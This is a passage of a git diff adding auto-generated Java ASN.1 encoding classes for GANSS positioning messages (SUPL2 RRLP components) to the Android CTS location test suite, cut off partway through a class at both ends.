+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "ganssIDType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSPositionMethod = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java
new file mode 100755
index 0000000..4521a3d
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositionMethods.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSPositionMethods
+ extends Asn1SequenceOf<GANSSPositionMethod> {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositionMethods
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositionMethods() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositionMethods;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositionMethods != null) {
+ return ImmutableList.of(TAG_GANSSPositionMethods);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositionMethods from encoded stream.
+ */
+ public static GANSSPositionMethods fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositionMethods result = new GANSSPositionMethods();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositionMethods from encoded stream.
+ */
+ public static GANSSPositionMethods fromPerAligned(byte[] encodedBytes) {
+ GANSSPositionMethods result = new GANSSPositionMethods();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public GANSSPositionMethod createAndAddValue() {
+ GANSSPositionMethod value = new GANSSPositionMethod();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSPositionMethods = [\n");
+ final String internalIndent = indent + " ";
+ for (GANSSPositionMethod value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
new file mode 100755
index 0000000..f37699b
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethod.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSPositioningMethod extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositioningMethod
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositioningMethod() {
+ super();
+ setMinSize(2);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositioningMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositioningMethod != null) {
+ return ImmutableList.of(TAG_GANSSPositioningMethod);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethod from encoded stream.
+ */
+ public static GANSSPositioningMethod fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositioningMethod result = new GANSSPositioningMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethod from encoded stream.
+ */
+ public static GANSSPositioningMethod fromPerAligned(byte[] encodedBytes) {
+ GANSSPositioningMethod result = new GANSSPositioningMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSPositioningMethod = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
new file mode 100755
index 0000000..719a507
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSPositioningMethodTypes.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GANSSPositioningMethodTypes extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GANSSPositioningMethodTypes
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSPositioningMethodTypes() {
+ super();
+ setMinSize(1);
+setMaxSize(8);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSPositioningMethodTypes;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSPositioningMethodTypes != null) {
+ return ImmutableList.of(TAG_GANSSPositioningMethodTypes);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethodTypes from encoded stream.
+ */
+ public static GANSSPositioningMethodTypes fromPerUnaligned(byte[] encodedBytes) {
+ GANSSPositioningMethodTypes result = new GANSSPositioningMethodTypes();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSPositioningMethodTypes from encoded stream.
+ */
+ public static GANSSPositioningMethodTypes fromPerAligned(byte[] encodedBytes) {
+ GANSSPositioningMethodTypes result = new GANSSPositioningMethodTypes();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GANSSPositioningMethodTypes = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
new file mode 100755
index 0000000..c5e87fb
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRealTimeIntegrity.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSRealTimeIntegrity extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSRealTimeIntegrity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSRealTimeIntegrity() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSRealTimeIntegrity;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSRealTimeIntegrity != null) {
+ return ImmutableList.of(TAG_GANSSRealTimeIntegrity);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSRealTimeIntegrity from encoded stream.
+ */
+ public static GANSSRealTimeIntegrity fromPerUnaligned(byte[] encodedBytes) {
+ GANSSRealTimeIntegrity result = new GANSSRealTimeIntegrity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSRealTimeIntegrity from encoded stream.
+ */
+ public static GANSSRealTimeIntegrity fromPerAligned(byte[] encodedBytes) {
+ GANSSRealTimeIntegrity result = new GANSSRealTimeIntegrity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfBadSignalElement ganssBadSignalList_;
+ public SeqOfBadSignalElement getGanssBadSignalList() {
+ return ganssBadSignalList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfBadSignalElement
+ */
+ public void setGanssBadSignalList(Asn1Object value) {
+ this.ganssBadSignalList_ = (SeqOfBadSignalElement) value;
+ }
+ public SeqOfBadSignalElement setGanssBadSignalListToNewInstance() {
+ ganssBadSignalList_ = new SeqOfBadSignalElement();
+ return ganssBadSignalList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssBadSignalList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssBadSignalList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssBadSignalListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfBadSignalElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssBadSignalList : "
+ + getGanssBadSignalList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSRealTimeIntegrity = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java
new file mode 100755
index 0000000..b2a3061
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefLocation.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.Ext_GeographicalInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSRefLocation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSRefLocation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSRefLocation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSRefLocation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSRefLocation != null) {
+ return ImmutableList.of(TAG_GANSSRefLocation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSRefLocation from encoded stream.
+ */
+ public static GANSSRefLocation fromPerUnaligned(byte[] encodedBytes) {
+ GANSSRefLocation result = new GANSSRefLocation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSRefLocation from encoded stream.
+ */
+ public static GANSSRefLocation fromPerAligned(byte[] encodedBytes) {
+ GANSSRefLocation result = new GANSSRefLocation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ext_GeographicalInformation threeDLocation_;
+ public Ext_GeographicalInformation getThreeDLocation() {
+ return threeDLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ext_GeographicalInformation
+ */
+ public void setThreeDLocation(Asn1Object value) {
+ this.threeDLocation_ = (Ext_GeographicalInformation) value;
+ }
+ public Ext_GeographicalInformation setThreeDLocationToNewInstance() {
+ threeDLocation_ = new Ext_GeographicalInformation();
+ return threeDLocation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getThreeDLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getThreeDLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setThreeDLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ext_GeographicalInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "threeDLocation : "
+ + getThreeDLocation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GANSSRefLocation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
new file mode 100755
index 0000000..2e6eeed
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GANSSRefMeasurementAssist.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GANSSRefMeasurementAssist extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GANSSRefMeasurementAssist
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GANSSRefMeasurementAssist() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GANSSRefMeasurementAssist;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GANSSRefMeasurementAssist != null) {
+ return ImmutableList.of(TAG_GANSSRefMeasurementAssist);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GANSSRefMeasurementAssist from encoded stream.
+ */
+ public static GANSSRefMeasurementAssist fromPerUnaligned(byte[] encodedBytes) {
+ GANSSRefMeasurementAssist result = new GANSSRefMeasurementAssist();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GANSSRefMeasurementAssist from encoded stream.
+ */
+ public static GANSSRefMeasurementAssist fromPerAligned(byte[] encodedBytes) {
+ GANSSRefMeasurementAssist result = new GANSSRefMeasurementAssist();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GANSSSignalID ganssSignalID_;
+ public GANSSSignalID getGanssSignalID() {
+ return ganssSignalID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GANSSSignalID
+ */
+ public void setGanssSignalID(Asn1Object value) {
+ this.ganssSignalID_ = (GANSSSignalID) value;
+ }
+ public GANSSSignalID setGanssSignalIDToNewInstance() {
+ ganssSignalID_ = new GANSSSignalID();
+ return ganssSignalID_;
+ }
+
+ private SeqOfGANSSRefMeasurementElement ganssRefMeasAssistList_;
+ public SeqOfGANSSRefMeasurementElement getGanssRefMeasAssistList() {
+ return ganssRefMeasAssistList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfGANSSRefMeasurementElement
+ */
+ public void setGanssRefMeasAssistList(Asn1Object value) {
+ this.ganssRefMeasAssistList_ = (SeqOfGANSSRefMeasurementElement) value;
+ }
+ public SeqOfGANSSRefMeasurementElement setGanssRefMeasAssistListToNewInstance() {
+ ganssRefMeasAssistList_ = new SeqOfGANSSRefMeasurementElement();
+ return ganssRefMeasAssistList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssSignalID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssSignalID();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssSignalIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GANSSSignalID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssSignalID : "
+ + getGanssSignalID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getGanssRefMeasAssistList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGanssRefMeasAssistList();
+ }
+
+ @Override public void setToNewInstance() {
+ setGanssRefMeasAssistListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfGANSSRefMeasurementElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "ganssRefMeasAssistList : "
+ + getGanssRefMeasAssistList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
